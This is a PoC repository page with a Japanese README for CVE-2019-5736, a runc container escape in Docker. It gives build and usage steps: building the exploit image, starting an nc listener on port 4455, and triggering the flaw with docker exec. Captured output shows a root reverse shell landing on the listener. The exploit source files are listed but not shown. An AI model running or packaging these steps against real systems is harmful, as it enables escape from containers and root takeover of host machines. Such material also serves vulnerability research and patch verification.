CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

Associated Vulnerability

Readme

# 概要

以下のリポジトリのエクスプロイトをDockerイメージで動作するようにしたもの。

https://github.com/feexd/pocs

# 使用方法

## イメージの作成

```bash
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
```

## 実行

コンテナの実行及びホスト側でのポートリッスン。

```bash
# terminal 1
$ sudo docker run poc

# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
```

runcの実行。

```bash
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
```

`nc`にシェルが返ってくる。

```bash
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
```

# 試験環境

```bash
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
```

# デモ

![Demo](./demo.gif)

File Snapshot

 [4.0K]  /data/pocs/608f6d2d0d66919880cad10c03c283ab177bbd8a
├── [928K]  demo.gif
├── [ 224]  Dockerfile
├── [6.2K]  exploit
├── [1.4K]  exploit.c
├── [  74]  Makefile
├── [6.2K]  payload
├── [ 634]  payload.c
├── [1.2K]  README.md
└── [ 379]  start.sh

0 directories, 9 files

Remarks